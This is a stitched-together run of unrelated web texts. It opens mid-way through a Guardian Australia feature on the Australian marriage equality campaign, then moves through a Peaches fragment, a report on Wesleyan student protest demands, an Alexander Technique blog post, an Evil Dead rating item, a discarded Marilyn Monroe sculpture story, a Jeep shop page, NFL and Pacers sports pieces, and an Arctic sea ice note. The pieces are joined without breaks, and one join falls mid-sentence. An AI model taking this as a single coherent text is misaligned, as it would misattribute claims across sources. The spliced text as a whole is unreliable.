“We may just have crossed the line into a majority – I’m not calling it yet, but I think we’re very close.”
The campaign cites with approval electorates such as Corangamite and Gilmore, in New South Wales, where local MP Ann Sudmalis ran an electorate-wide survey which she said would determine her vote. It returned a strong “yes”. Croome says: “Heterosexual people with no obvious interest can make a difference.”
Facebook Twitter Pinterest Marriage equality badges. ‘We are always bubbling along,’ says Rodney Croome, director of Australian Marriage Equality. Photograph: Daniel Kalisz/AAP
The strategy has thrown up some unexpected and strong alliances. Take Warren Entsch. The 65 year-old Liberal National party member from the Queensland seat of Leichhardt worked closely with advocates from AME to introduce a private member’s bill into the House of Representatives to amend the Marriage Act in 2015.
“Every meeting with Warren Entsch ends and starts with a hug,” says Hinton-Teoh.
Entsch’s conversion happened after he discovered a member of his electorate was transgender and had faced discrimination. Since then he has been one of the movement’s staunchest allies. “It’s always odd to stretch out [in Entsch’s office] and have your feet on a crocodile skin and see stockman’s whips on the wall,” says Hinton-Teoh.
The plebiscite and ‘plan B’
In August the campaign was thrown a curveball. With the number of supporters in the House of Representatives verging on a majority, Tony Abbott, then prime minister, decided to change the rules, floating and then confirming plans to put the issue to a plebiscite some time in the next parliament.
Malcolm Turnbull, a conspicuous supporter of marriage equality, had supported Entsch’s bill as a frontbencher. But when he took over as prime minister he endorsed the plebiscite (estimated to cost $158.4m), as part of the compact with the right of the Coalition that enabled him to succeed Abbott. The move threatened to derail the strategy of AME, which has worked so hard to target politicians.
In meetings with supporters in Canberra in September, Croome acknowledged the blow but was philosophical. “One of the reasons why a free vote has been canned is because we can get the numbers. We have built it up to a majority in the Senate – and in the House of Representatives 67 declared supporters and four or five undeclared. That’s 72 and we need 76. We are very close. One of the reasons the hard right of the Coalition worked so hard is that they know we could win this in parliament. This is all to divert attention that we have been successful.”
Facebook Twitter Pinterest Warren Entsch with Greens senator Sarah Hanson-Young from the Greens and Independent MP Cathy McGowan after introducing his private member’s bill on marriage equality in August. Photograph: Mike Bowers for the Guardian
Croome is a veteran of gay rights campaigns, and focused for a long time on legal change in his home state of Tasmania. As recently as 1997 he won a landmark high court case (Croome v Tasmania) to decriminalise homosexuality – the culmination of a powerful campaign that harnessed the the power of the UN against the state.
He is careful with words, sometimes over-deliberate, to the point of seeming stand-offish in conversation. But no one knows this issue better. He allows Guardian Australia to photograph the start of meetings, but not to sit in. For Croome, keeping conversations about strategic matters with politicians private is more important than the extra media access. This is the balancing act: the need for discretion balanced with the need for publicity - when to amplify the public aspect of the campaign, and when to go quietly.
The move towards a plebiscite requires a different style of activism from that of legal challenges or lobbying. When the plebiscite was announced, those in the marriage equality movement set up a “war room” in Canberra and hunkered down to work on a plan B.
This includes raising money to broaden the campaign from targeting MPs to targeting whole electorates. A campaign director, Erin McCallum, and two part-time assistants were appointed, becoming AME’s first paid staff.
Regardless, deep pockets will be needed to reach all Australians of voting age.
Facebook Twitter Pinterest Tony Abbott threatened to sack ministers who voted for marriage equality, before settling on a plan for a plebiscite. The row was one of several to destabilise his leadership. Photograph: Lukas Coch/EPA
In October, Croome made clear that the parliamentary strategy was being finessed, not ditched. “We should have a free vote in our parliament, and if there is a plebiscite it should be fair and uncomplicated,” he told supporters in an email.
“Whichever path we go down, the key to success is having a majority of MPs who support marriage equality. That is why we are focusing on local community campaigns to persuade undecided MPs to back reform.”
A big fear for marriage equality campaigners is that the No campaign will run negative advertising, stigmatising gay people and fanning homophobia. It’s a spectre that is brought up by multiple speakers, including Lazarus, in Ipswich. Opinion polls consistently suggest Australians support marriage equality, but the plebiscite question has yet to be framed and parliament’s attitude to that vote has yet to be properly established. Even if the vote goes the campaign’s way, there are concerns that it will come at the cost of dividing people.
Recently the Australian Christian Lobby, which opposes marriage equality, asked supporters to find $200,000 to defend traditional marriage.
“Your support today will help ACL build a $200,000 ‘war chest’ so we can get the message out, resource our team to present a voice for marriage, and equip churches for grassroots actions,” the email to supporters said.
The Australian fight for marriage equality has been one of the longest in the world. It is a compliment of sorts that the campaign has become so professional, so focused, so strategic. The passionate intensity of the cause can flame out if required to burn over the course of years. Marriage equality in Australia has been a live issue for more than 10 years and, so the campaign’s leaders calculate, a different quality of activism is needed – cool, deliberate and focused on the long game.
Croome reels them off, the leadership found wanting: “Nothing from Rudd, Gillard, Abbott.”
Now he has Turnbull, Bill Shorten and Richard di Natale of the Greens all supporting marriage equality. But still no change.
Facebook Twitter Pinterest Shortly after Malcolm Turnbull took over as prime minister, activists gathered in Sydney for a rally for marriage equality to urge him not to delay a vote. Photograph: Brendon Thorne/Getty Images
“In that environment we always have a new path forward, if a federal law is blocked, going through the states, if a state law is blocked – vice versa. We are always bubbling along,” Croome insists.
Indeed there are aspects of AME’s plan A that can easily be adapted to plan B; and in the AME strategy there are lessons for other single-issue groups. Act more like a lobby group – an insider rather than outsider – recruit people of influence inside the chamber to support your bill, have a fantastic website and a responsive, well-managed Facebook page, invest in research and polling, make story-telling central to your message, be bipartisan, make friends with corporate Australia, and have a movement that is agile but built for endurance.
Being bipartisan, not too radical, not scaring the horses was part of the plan
Other groups have also campaigned for equal marriage, including Equal Love, which holds rallies each August.
In 2012 the activist group GetUp! joined with AME to send 3,000 roses to federal politicians on Valentines Day and hosted a dinner for three same-sex couples with then prime minister Julia Gillard, hoping to persuade her to change her stance.
But AME and GetUp! have quite distinct approaches, Croome says. “GetUp! rely on a big database and they say ‘come and protest or write this letter’.
“Ours was much more targeted: to find highly motivated people to speak to their MP and was quite tailored to the electorate. It was not about mass mobilisation – it was about key influencers who are less likely supporters.”
Facebook Twitter Pinterest ‘I am the proud father of a gay son’: Australian parents fight for marriage equality – video
Croome and his team looked at what worked and what didn’t in the US. “Their initial approach was mass mobilisation in places like California – and it failed.”
The lesson was to become more targeted. “You don’t take people’s support for granted,” he says.
Win the middle ground and you win marriage equality is the thinking. In Ireland there was a “Call your granny” campaign targeting young people and their grandparents. In Australia, it is also about reaching out to one potential supporter at a time. In many ways the campaign has been like hand-selling – one town at a time, one MP at a time, one person at a time.
“We’re going to win it one local newspaper at a time,” Croome says at one point.
Facebook Twitter Pinterest Corinna Peck (left) and Stacey Cowen celebrate after their marriage in Canberra. Like Ivan Hinton and Chris Teoh, their marriage was annulled by a high court ruling. Photograph: Alan Porritt/AAP
As boring as marriage itself
Hinton-Teoh’s journey from marriage to unmarriage is just one of the complexities and absurdities – real people getting caught in barbed wire erected, then removed, then erected again by courts and the crown. Meanwhile, the rest of the world has galloped past Australia. In June the US supreme court declared same-sex marriage legal, and and in May a referendum produced the same result in Ireland, where a far tighter seam between church and state made the outcome even more stunning.
Hinton-Teoh is philosophical. If Australians are now at risk at being bored to death by the marriage equality debate, that can only be a good thing. If they have a position, he believes it is more likely to be “let’s just get on with it”, mirroring the shrugged-shoulder response of Julie Bishop, who declared that she had “no concerns” about marriage equality.
It’s the victory not of a radical transcendent moment in society, but a move towards a position that seems rational and normal – boring, in fact. Maybe as boring as marriage itself.
“We had to reach the soft supporters and get them in there. That’s what the campaign is about. That’s what we’ve doing in these electorates – and this will be... key for us,” Croome says.
Facebook Twitter Pinterest Ivan Hinton-Teoh, Rodney Croome, Warren Entsch, Jill Hammond and Shelley Argent meeting in Entsch’s office in parliament in Canberra. A lot of the campaign’s work at federal level is carried out behind the scenes. Photograph: Mike Bowers for the Guardian
To this end, the AME stopped framing the debate in the political and social language of equality, and started framing it in the emotional language of love.
“Just talking about equality isn’t enough,” Croome says. “Because most heterosexual people don’t understand marriage in terms of equality, they understand it in terms of sacrifice, love, joy, family. These values are also to be found in same-sex relationships.”
Janine Middleton, the chief executive of AME, is a former banker from Sydney’s north shore who favours pearls and neat, sharp suits. She’s been successful in getting corporations and conservatives to support marriage equality – making it more of an insider movement than one for outliers.
“Janine brings with her a way of communicating with a demographic – the corporate sector – that has been really beneficial for us,” Hinton-Teoh says.
Australian Christian Lobby asks donors for war chest to fight marriage equality Read more
The AME corporate support program has at the last count 767 organisations signed up – including big names such as Qantas, Optus, Commonwealth Bank, David Jones, ANZ, Coca-Cola; even groups that might not naturally be associated with such activism, such as the AFL.
AME doesn’t just target the big guns. Ads have been placed in regional newspapers across the country naming local businesses that have come out in support of marriage equality. “These are small businesses in Rocky [Rockhampton], Goulburn, Bunbury, Victor Harbour, and they are all in key electorates where there are Liberal members who we sought to persuade. And we have,” Croome says.
A debate’s tone is no accidental thing. It’s highly calibrated, tested and – to an extent – controlled. AME is framing the marriage equality debate in an inclusive and bipartisan way. The tone could almost be described as conservative.
By pulling the marriage equality movement into the mainstream, organisers of the AME have to be vigilant that supporters stay on message. Burning effigies of Abbott or Turnbull at rallies would only harm the cause, not help it.
“In August there was an international organisation that wanted to come and make a statement about the PM at the time [Abbott] and say stuff at a personal level, and we were able to manage that so that it didn’t happen,” says Hinton-Teoh.
“Our campaign values have always been about positivity and the value of marriage – we didn’t think it was well targeted. One of our campaign strengths has always been built around building relationships – we kept a dialogue open with him [Abbott] and his office.”
But the mainstream success of the movement has also meant there’s pressure in the gay community to be a cheerleader for marriage equality.
It’s really tough to say there are more important issues than marriage equality – but there are other things we need Nic Dorward
Nic Dorward, 33 year-old Sydneysider who identifies as an HIV-positive queer man, wonders if the focus on marriage equality has come at the expense of other issues that affect the LGTBI community.
“When I speak out against this [marriage equality], people write to me and say they don’t feel like they can talk about this because they are betraying the community. It’s really tough to say there are more important issues than marriage equality – but there are other things we need.”
Dorward cites HIV issues and global violence against queer people.
“I am not critiquing the call for marriage, but it’s a long been a part of gay liberation that sense of difference and other, and with the focus on marriage, that is slowly being corroded and moved across to a more heteronormative view.
“I personally have no interest in the initiation of marriage, getting married – from a feminist point of view as well, the way in which marriage is being used by religion and social structures to enforce a form of control over women and people. It’s kind of hijacked this very human biological and passionate response you have when you fall in love with someone – there’s a chemical need to attach yourself to that person forever.”
Facebook Twitter Pinterest Campaigners at a rally for a free vote in marriage equality in Sydney in May. Photograph: Lisa Maree Williams/Getty Images
The gay academic and activist Dennis Altman has also attacked the marriage equality movement. At a public event in Melbourne in 2013 he argued that it was conservative and further marginalised LGBTI people not in long term relationships.
“People being killed in Uganda, people being raped in South Africa because people assume they’re lesbian, men being lured into parks and bashed up in Russia – those are basic human rights [issues]. In Australia if you are in a long-term relationship …you actually have pretty well all those rights.”
Light and a very long tunnel
The crossbench bill to legalise same-sex marriage, backed by Entsch, is still in parliament, but it’s not looking hopeful. Turnbull has not deviated from Abbott’s directive to decide the matter by plebiscite. And so the long road to marriage equality in Australia continues.
Hinton-Teoh says: “People are frustrated because it’s taken so long, there’s a valid frustration of the laboured nature of achieving marriage equality. Every other western nation has moved on.
Facebook Twitter Pinterest Julie Bishop told Network Ten’s The Project says she has no ‘absolutely no concerns’ about legalising same-sex marriage.
“But John Berry [United States ambassador to Australia] refers to Australia as the beacon of light for LGBTI rights, and it’s true.
“As we’ve talking about marriage equality for the length of the campaign, we’ve seen enormous reform. I think marriage equality had actually been a mechanism that has carried on a conversation about LGBT people and recognising they are a legitimate part of the community and providing a platform for other discussions.
“We didn’t rally in the streets to achieve removal of 80-odd pieces of legislation that were discriminatory to LGBTI people but, I believe, through sharing our common humanity through the marriage equality movement over the past 11 years, we’ve had a part in building a landscape of respect that helped achieve that,” Hinton-Teoh says.
Changes to laws that once discriminated against same-sex couples include amendments to tax, social security, employment, Medicare, veterans’ affairs, superannuation, workers’ compensation and |
sources of castration for women in an authoritarian male society that puts an expiration date on not only a woman’s desirability, but on her right to be seen and moreover, to be seen celebrating. Peaches has no time for these prescribed rules of womanhood, and neither should we. Most recently, she told Cosmopolitan that Rub is about “celebrating being comfortable with who you need to be and trying to dissolve a world of ageism too.”UPDATED
Still griping about that Black Lives Matter op-ed
Wesleyan University protesters want the school to create an anonymous system for students to report incidents of “bias, including microaggressions, perpetrated by faculty and staff.”
It’s among five demands that the group handed to Wesleyan President Michael Roth after marching through campus to his office Wednesday.
The group, which says it represents “students of color,” calls itself “Is This Why?” That’s a reference to Wesleyan’s current alumni fundraising drive, “This Is Why.”
Like his New England colleague Carolyn Martin at Amherst College, Roth didn’t answer the specific demands of protesters but said he shares their “major goals.”
UPDATED: Wesleyan president defends free speech, swats down demand for microaggression reporting system
Reaction to the protesters and their demands on Wesleyan’s Yik Yak page was all over the map, with some commenters wondering how the school would judge a “microaggression” and whether professors could be retaliated against for giving out poor grades.
That fear is very real among faculty, according to a state college professor who wrote in Vox this summer that his “liberal students terrify me.”
‘Mandatory Social Justice Workshops’
Is This Why’s demands start with a vague plea to be “holistically included” and not used to simply fill Wesleyan’s “diversity quota,” but they get more specific from there.
They demanded Roth and other officials apologize for “perpetuating the vilification of students of color,” failing to “reach out” to them when The Wesleyan Argus published a controversial op-ed with a racial theme, and staying silent when “international tragedies occur outside of Europe,” such as November’s terrorist attack in Lebanon.
The group wants Wesleyan to create a “transparency” website on its diversity initiatives like that at the University of Missouri, which preceded the racial unrest there last month.
The school should hire an “equity advocate” who hosts “mandatory social justice workshops” for everyone but students, including public safety officers, so they know how to “appropriately interact with students from marginalized backgrounds.”
Protesters demanded the establishment of a Multicultural Center within three years that would also provide funding for multicultural programs.
Though it set today as the deadline for the apology statement and Roth’s promise to hire an equity advocate to start next year, Is This Why is giving Wesleyan until month’s end to say how “student input” will be incorporated into the bias-reporting system it envisions.
The reporting system would apparently be included in end-of-semester professor evaluations by students. The group said it wants the proposed system to launch this spring. (Revisions to the professor evaluation system have been in discussion for the past two years.)
The demand gives no direction on what qualifies as “bias” or a “microaggression,” or what the threshold should be for reporting, and such a system may not please the protesters in practice anyway.
Conservative students at the University of Pennsylvania were rebuffed this spring by the school’s Committee on Open Expression, a watchdog on campus speech issues, when they complained that they could not safely express themselves in class because of biased professors.
The committee explicitly cited “academic freedom” as the reason why it wouldn’t recommend creating a “course review” feature in which students could view professor-bias ratings submitted by their peers.
Has the administration caved already?
President Roth was present at the protest and responded Wednesday in a blog post, explaining that he “decided to join in their call for justice and community.”
Though he agreed “there have been times when I or members of my administration have contributed to the perception that we didn’t understand the challenges” faced by the protesters, Roth didn’t directly address any of their demands.
Roth did list initiatives already under way: “increase faculty diversity, support low-income students, add faculty in African-American Studies, diversify the population of undergraduates majoring in the sciences, [and] improve representation in the student support services staff.”
Is This Why has yet to issue a formal response to Roth’s statement – the president said he’ll be responding to their demands “soon” – but the protesters kept up the drumbeat against Roth on its Twitter page.
(Like Amherst College protesters, Is This Why didn’t reserve its Twitter handle in time to prevent another user from apparently impersonating its voice. The “IsThisWhy” Twitter profile is “suspended” – one of the triggers for which is “impersonating other accounts.”)
Student Caroline Liu, The Huffington Post’s campus editor-at-large for Wesleyan, suggested protesters would secure at least a partial victory in a tweet Thursday allegedly quoting Chief Diversity Officer Antonio Farias.
"We ARE working on the demands. You WILL hear from us shortly." – Chief Diversity Officer Antonio Farias #isthiswhy #studentblackout — Caroline Liu (@caroqliu) November 19, 2015
The Office of Equity and Inclusion, which Farias leads, did not respond to a College Fix inquiry.
Funding questions
One of the biggest outstanding questions about the list of demands is how they would be funded. One Yik Yak poster said the required money might result in cuts to other sensitive budgetary areas.
The proposed Multicultural Center in particular would require the renovation of an existing building or the construction of a new building, on a campus with limited space.
Financial aid grants could also be cut if the demands are met. One Twitter user shared a 2012 article with Is This Why on Wesleyan’s decision to end need-blind admissions because of “financial pressures.”
Without need-blind admissions, “Wesleyan is far less open to working class kids, particularly [people of color] who want to attend,” wrote the user, an editor for an American socialist journal.
Wesleyan’s endowment, which ensures stability during economic downturns, could also be tapped for the demands.
DEVELOPMENT: Wesleyan president defends free speech, swats down demand for microaggression reporting system
Like The College Fix on Facebook / Follow us on Twitter
IMAGE: Cheryl Casey/Shutterstock, Yik Yak screenshotsThe Alexander Technique was something I’d tried in order to improve my back problems. It’s had a significant effect on my back, but a side effect was it’s effect on my attention.
For those of you that don’t know, the Alexander Technique is essentially a method of retraining your postural habits. An AT instructor will begin by observing and analyzing the way you move when doing everyday things, such as:
Walking
Standing / Sitting down
Picking up your coffee
Tying your shoes
…basically anything you do with your body (hey now).
We subconsciously use more muscle tension than we need to while doing these things, leading to tension, pain, and anxiety. A good AT teacher will make slight adjustments to your posture, and help you gradually retrain these habits so that any activity – walking, sports, etc. – is far more effortless.
While I still have a long way to go with the technique, it’s already had a great result on my back, and overall well-being. An interesting side effect (and the topic of this blog post) is its effect on my attention.
While I work throughout the day, any physical irritation is a distraction: an itch, pain somewhere, tension in my neck, a stomach rumbling. My Alexander Technique training helped to make me more aware of these things, and when I feel tension I can now calmly adjust my posture, eliminate the distraction and get back to the task at hand.
The AT teaches you to take a moment and observe the different parts of your body which you may be inadvertently tensing up, and consciously unclenching them. In AT lingo, you’re “freeing” them: AT people use terms like “free your neck,” and “let go of the jaw,” and “let go of any facial tension.” Sure enough, after doing AT for a bit, I became aware of tension I didn’t know existed – in my forehead, neck, jaw, around my eyes. And as a result, my face, neck and back became less tense and less of a distraction.
Another way the AT has affected my ADHD is in the area of impulse control. Part of AT practice involves practicing “inhibition.” Inhibition, as AT people teach it is the habit of hesitating before you react to something (rather than reacting impulsively).
Quite often, people with jumpy temperaments (e.g., many ADHD people) speak or act quite impulsively. In a conversation, each time feel the impulse to speak, we follow it – even if it means rudely interrupting. While Vipassana Meditation is far more attuned to help an ADHD person improve this sort of thing (I’ve had big effects with it), the Alexander Technique’s concept of inhibition seems to be right in line with it.
While I wouldn’t choose it as a primary therapy for ADHD, I’d encourage trying the Alexander Technique if you’re looking to improve your posture or coordination, eradicate back pain, or just have a calmer sense of self-control in your body.Share. Horror reboot will be toned down for theatrical release. Horror reboot will be toned down for theatrical release.
Not surprisingly, director Fede Alvarez revealed today that his Evil Dead remake earned an NC-17 from the MPAA. Of course, seeing as how it's a studio project, the horror pic will eventually be watered down for the theatrical release.
Exit Theatre Mode
The filmmaker tweeted, "Was proud of scoring a NC17 when submitted! But we had to cut stuff out to get an R and get the film into theaters."
Although Evil Dead will be making its silver screen debut with an R rating, expect news on the inevitable "Unrated Director's Cut" Blu-ray/DVD shortly.
Exit Theatre Mode
Via Shock Till You Drop
Max Nicholson is a writer for IGN, and he desperately seeks your approval. Show him some love by following @Max_Nicholson on Twitter, or MaxNicholson on IGN.It was a sad, sad sight as China’s tallest Marilyn Monroe sculpture was photographed abandoned at the dump site of a garbage collecting company in Guigang, Guangxi after being displayed at a busy business area of the city for some six months.
Made of stainless steel, the 27-foot-tall beauty queen sculpture weighs some eight tons and took professors from South China Normal University two years to make based on stills from the film “The Seven Year Itch” as well as the giant iconic statue in the US, Forever Marilyn.
Before getting dumped, the giant sculpture was displayed proudly by a company in the business hub in Guigang with the mission of showing its international management concepts and building up ambition to have a local landmark, now mere trash. The sculpture was first unveiled on December 29, 2013 by the Chinese actress Yan Liu.
After six months, the sculpture was pull down and transported to the garbage collection station for unknown reasons.
Marilyn, modeled in her famous pose with her skirt blowing in the breeze, really couldn’t avoid exposing her undies as she was transported on the back of a truck to the trash.
Worse still, Marilyn has been left to kiss the smelly ground of the dump site.
As they say, it’s better to burn out than to be thrown away. Or something.
Images Via Chris Buckley from Twitter, Sina China and hk.aboluowang
By Jennifer Hui
Follow @shanghaiistWelcome to CJ Jeep Builders!
A few years ago I wanted to purchase a Jeep I looked and nothing had the old school classic look of a CJ. I had one right out of high school and have so many great memories of the fun we used to have in it. So I started looking for a CJ, I spent several months looking at what people advertised as –“fully rebuilt”, or “fully restored”, and even” full frame off restoration”.To my great disappointment these terms seem to carry a wide parameter of what you can expect in a finished product. I finally gave up and purchased a run of the mill quality CJ and decided to handle the rebuild myself. I purchased a rebuilt AMC401 engine, and hired a body shop to handle the rebuild, going over in great detail that I wanted it to look like a classic CJ but be able to offer me some of the modern conveniences of the newer vehicles. Including better ride & handling, custom stereo and custom air conditioning.
Even with hands on oversight, ordering parts myself and visiting the shop at least two times a week to check on progress. After 6 months and over $40,000 my Jeep was finally finished. After getting it out and riding around and looking closely at it I discovered that I had a good quality Jeep, but I did not feel like I had the great show quality Jeep that I expected for the money I spent.
I found another project jeep that I wanted to restore and being unwilling to go thru the same process again and expect different results was not a chance I was willing to take. So I decided to open my own shop and started by hiring two guys with over 40 years combined experience in the business to currentley having 6 full time employees and growing. Now every project we put out will be the show quality Jeep CJ that I expected mine to be. I am realizing after completing several projects and getting feedback from several people that I want to continue to offer show quality top of the line CJ’s but I am also starting to offer a couple of toned down editions as well, in an effort to fit a wider range of what others may consider to be their dream CJ.
Please look below at the three standard editions we offer. If you don’t see what fits your need give us a call. Thanks for visiting our site.Dallas Cowboys linebacker Sean Lee is not replaceable. But the Cowboys have to try anyway after learning Lee will miss the rest of the season with a toe injury.
The Cowboys' official website reported that the team signed former Detroit Lions first-round draft pick Ernie Sims on Wednesday after placing Lee (toe) on injured reserve. The Cowboys also placed punter Chris Johnson on injured reserve and signed safety Charlie Peprah.
Lee suffered a turf toe injury during Sunday's 19-14 victory over the Carolina Panthers.
"Sean Lee is a great football player," Cowboys coach Jason Garrett said during Wednesday's news conference. "Anybody who watches our team can see that... It will certainly be a loss."
Dan Connor will replace Lee in the starting lineup, playing next to Bruce Carter. Sims has bounced around in his career and will try to help as a reserve, but there's just no way to mimic Lee's skill set.
One of the best run defenders in the NFL, Lee sets himself apart in coverage. He breaks up passes 20 yards down the seam thrown to receivers. He covers running backs and blows up plays in the backfield. Linebacker DeMarcus Ware might be the best Cowboys defender, but Lee was emerging as the defense's leader. He was playing at a first-team All-Pro level.
In a season when the Cowboys' offense is less explosive than ever, losing Lee is a devastating blow.
Follow Gregg Rosenthal on Twitter @greggrosenthal.The Indiana Pacers were kings of the ABA, winning three championships with Slick Leonard manning the sidelines and stars like Roger Brown, Mel Daniels, and George McGinnis leading the way on the court.
But after the ABA-NBA merger, the Pacers struggled to find any success in their first decade in a new league. Over their first 10 seasons in the NBA, the Pacers managed just one playoff appearance (in 1981, when they were quickly swept out of the postseason by Philadelphia).
But in the mid-1980s, the franchise began a dramatic transformation from cellar dweller to contender. That all started when assistant coach Donnie Walsh was promoted to general manager. Walsh's rebuild began in the 1986 NBA Draft, where he had his eyes on a young sharpshooter out of Auburn named Chuck Person.
As he told Pacers.com's Mark Montieth in a podcast earlier this week, Walsh had previous experience with the draft process from his brief stint as head coach of the Denver Nuggets.
In 1980, the Nuggets had the fifth pick in the draft. They really wanted to take Kevin McHale, a forward out of Minnesota, but they made the mistake of letting other teams know of their intentions.
The night before the draft, Boston traded the first and 13th picks in the draft to Golden State for center Robert Parish and the third overall selection. The Warriors took Purdue star Joe Barry Carroll with the number one pick, while the Celtics dropped down and took McHale with the third selection, cementing the core of what would be one of the NBA's all-time great dynasties (having missed out on McHale, the Nuggets drafted Jacksonville forward James Ray, who lasted just three seasons in the NBA).
So when the Pacers had the fourth overall pick in 1986, Walsh knew better than to let other teams know which way he was leaning. When he got calls asking what he planned to do, Walsh told teams he would likely take a big man.
"I didn't just out-and-out lie to them, (but) I came close to it," Walsh said.
On draft night, after Brad Daugherty, Len Bias, and Chris Washburn came off the board, Walsh gladly nabbed Person with the fourth pick.
1980s CENTRAL: Learn More About the Decade at Pacers.com/1980s »
Person joined a Pacers team that had averaged just 23.5 wins over their last four seasons. Clark Kellogg, the Pacers' best player over that stretch, was forced to retire at age 25, just four games into Person's rookie season, due to chronic knee problems.
That allowed new head coach Jack Ramsay to move the rookie into the starting lineup and Person flourished, putting together the greatest rookie season in franchise history. He led the team in scoring (18.8 points per game), rebounding (8.3 boards per contest), and 3-point percentage (.355), living up to his nickname of "The Rifleman."
Person was named the NBA's Rookie of the Year (to date, he's the only Pacers player to ever take home that honor) and led Indiana to a 41-41 record, a 15-win improvement over the previous season.
In the playoffs, the Pacers matched up with Dominique Wilkins and the Atlanta Hawks. After dropping the first two contests on the road, the best-of-five series shifted back to Market Square Arena, where the rookie put together a pair of memorable performances.
In Game 3, Person amassed 23 points, 17 rebounds, and seven assists to lead the Pacers to their first-ever NBA playoff victory.
Two days later, Person scored 40 points, going 14-for-27 from the field and 12-for-15 from the free throw line while also tallying seven boards and six assists. The Hawks came away with a four-point win to eliminate Indiana, but Person's prolific output would stand as a franchise record for 14 years until Reggie Miller surpassed him with 41 points in a 2000 playoff game against Milwaukee.
TICKETS: Secure Your Seats for the 1980s Decade Game »
Just how good was Person as a rookie? In NBA history, only two players have ever averaged at least 18 points and eight rebounds per game while also shooting 35 percent or better from 3-point range. Person is one of them. The other is Larry Bird.
Walsh, for one, was not surprised at Person's instant success.
"I thought he could (win Rookie of the Year)," Walsh told Montieth. "I knew he could score. I absolutely knew it. And I knew that Chuck was very knowledgeable about the game for a guy coming out college. He really knew how to post up, he knew the nuances of the league. And those things he didn't know, he kind of caught on very quickly. He was a really good first pick."
A year later, Walsh made another inspired pick, drafting Miller with the 11th overall selection. Together, Person and Miller formed one of the NBA's most formidable sharpshooting duos. Joining forces before Stephen Curry and Klay Thompson were even born, Person and Miller were the original Splash Brothers.
They combined to make 244 3-pointers during the 1989-90 season, 191 a year later, and 261 in 1991-92. In an era when the 3-point shot wasn't utilized with nearly the frequency that it is today, those were astronomical numbers.
PACERS VOTE: Pick Your Starting Five from the 1980s »
Individually, Person continued to excel, leading the team in scoring in both his second and third NBA seasons, including a career-best scoring average of 21.6 points per game in 1988-89. The Pacers missed the playoffs in each of those years, but Walsh was slowly building a strong core around Person and Miller, drafting 7-foot-4 center Rik Smits in 1988 and trading for skilled forward Detlef Schrempf in Feb. 1989.
The Pacers returned to the playoffs in the 1989-90 season, the first of what would eventually be seven consecutive postseason berths. The first three of those teams were led by Miller and Person, who finished first and second on the team in scoring in each of those years, combining to average 44.3 points per game in 1989-90, 41.0 in 1990-91, and 39.2 in 1991-92.
In 1990, Indiana was swept in the first round by Detroit, the eventual NBA champions. But the next season, the Pacers drew a first-round matchup with the Celtics, setting the stage for another memorable postseason performance from Person.
Person loved to talk trash and had created a personal rivalry of sorts over the years with the great Larry Bird.
Being the competitor that he is, Bird didn't shy away from Person's bravado. According to legend, when the two teams met in the month of December, Bird drilled a 3-pointer in front of the Pacers' bench. Aggravated by something Person had said to him earlier, Bird had promised Person a Christmas present. As his shot was falling through the net, he turned, found Person sitting on the Indiana bench, and exclaimed, "Merry...Christmas!"
Needless to say, Person was fired up for the chance to go head-to-head with Larry Legend in a playoff series.
PHOTOS: Chuck Person Career Gallery »
"The thing about Chuck, no matter if it was the regular season or the playoffs, he came to play," Bird told Pacers.com in a 2004 oral history. "I think he played harder against me than anybody else, but it was good. In this league, a lot of times the players don’t give you any resistance. But when you played against Chuck, you knew you had to play and you had to play hard – and if you didn’t play well, they’d probably beat you."
Indiana dropped Game 1 of the best-of-five series in Boston, but stunned the Celtics with a 130-118 win in Game 2. Person starred on that particular night, scoring 39 points and hitting what was then an NBA playoff record seven 3-pointers.
The Pacers, however, squandered homecourt advantage in Game 3 at Market Square Arena, as the Celtics smothered Person, limiting him to just six points on eight shot attempts.
Indiana bounced back to win Game 4 behind 30 points from Person and 27 from Miller, sending the series back to Boston for a winner-take-all Game 5.
Bird exited that contest late in the first half after a hard fall against the hardwood, but returned midway through the third quarter and led the Celtics back into the lead, dueling with Person down the stretch.
Bird finished the night with 32 points, nine rebounds, and seven assists. Person went 5-for-9 from 3-point range on his way to 32 points, four boards, and four assists.
Boston led by as many as 16 points in the second half, but Indiana rallied to cut the deficit to two in the closing seconds. Off a busted play, Person took a deep 3-pointer that would have given the Pacers the lead, but it rimmed out and the Celtics survived to take the game and the series.
The Pacers returned to the playoffs the next season, where they met up with the Celtics once again, but this time they were swept in three games.
By that point, it had become clear to Walsh that he had to make a move to get the team to the next level. Person admitted he saw the writing on the wall.
"We had Rik Smits, who was coming into his own, and myself and Reggie and Detlef Schrempf," Person told Pacers.com in 2004. "Those four guys alone, we all had a lot of talent, we all had the opportunity to become great players but, obviously, we didn’t have enough minutes and enough balls to go around so some changes had to be made. I was the one that got traded."
That trade came in Sept. 1992, when Walsh sent Person and Micheal Williams to Minnesota for Sam Mitchell and Pooh Richardson. Mitchell wound up being a valuable role player on two Eastern Conference Finals teams. Richardson was part of a package that Walsh used to acquire Mark Jackson from the Clippers two seasons later, setting the stage for the franchise's greatest run of sustained success.
You know what happened from there. After Person left, Miller blossomed into the team's clear go-to option in crunch time. The Pacers grew into arguably the most consistently successful franchise in the NBA, reaching the playoffs in 16 of 17 seasons from 1990-2006, making six trips to the Eastern Conference Finals and, of course, reaching the NBA Finals in 2000.
Person, meanwhile, never quite replicated the success he had in Indiana. He averaged 16.8 points per game in his first season with the Timberwolves, which wound up being his last as a full-time starter. His scoring average dipped below 12 points per game in each of the next three seasons. He missed the entire 1996-97 campaign due to injury, but managed to last three more seasons after that before retiring in 2000 at age 35.
Person spent a combined seven seasons in Minnesota, San Antonio, Charlotte, and Seattle, but he will always be best remembered for his six years in Indiana.
To this day, Person remains the Pacers' NBA franchise leader in scoring average at just barely under 19 points per game. Despite spending only six seasons with the franchise, Person still ranks sixth in NBA franchise history in points scored and fifth in 3-pointers made.
Most importantly, Person was the first building block for the franchise's most successful period. Together with Miller, Person helped turn the Pacers from a laughingstock into a perennial playoff team. He wasn't around to enjoy the greatest fruits of their labor, but "The Rifleman" was as important as anyone to the Pacers' emergence on the NBA stage.
On Saturday night, the Pacers will honor Chuck Person with a commemorative bobblehead at the 1980s Decade Game against the New York Knicks. It will be a fitting tribute to one of the greatest players in Pacers history, a man who helped lead the franchise out of a decade of darkness and into the light.Image copyright Angelika Renner Image caption The maximum ice extent marks the beginning of the melt season for Arctic sea ice
Sea ice in the Arctic Ocean has fallen to the lowest recorded level for the winter season, according to US scientists.
The maximum this year was 14.5 million sq km, said the National Snow and Ice Data Center at the University of Colorado in Boulder.
This is the lowest since 1979, when satellite records began.
A recent study found that Arctic sea ice had thinned by 65% between 1975 and 2012.
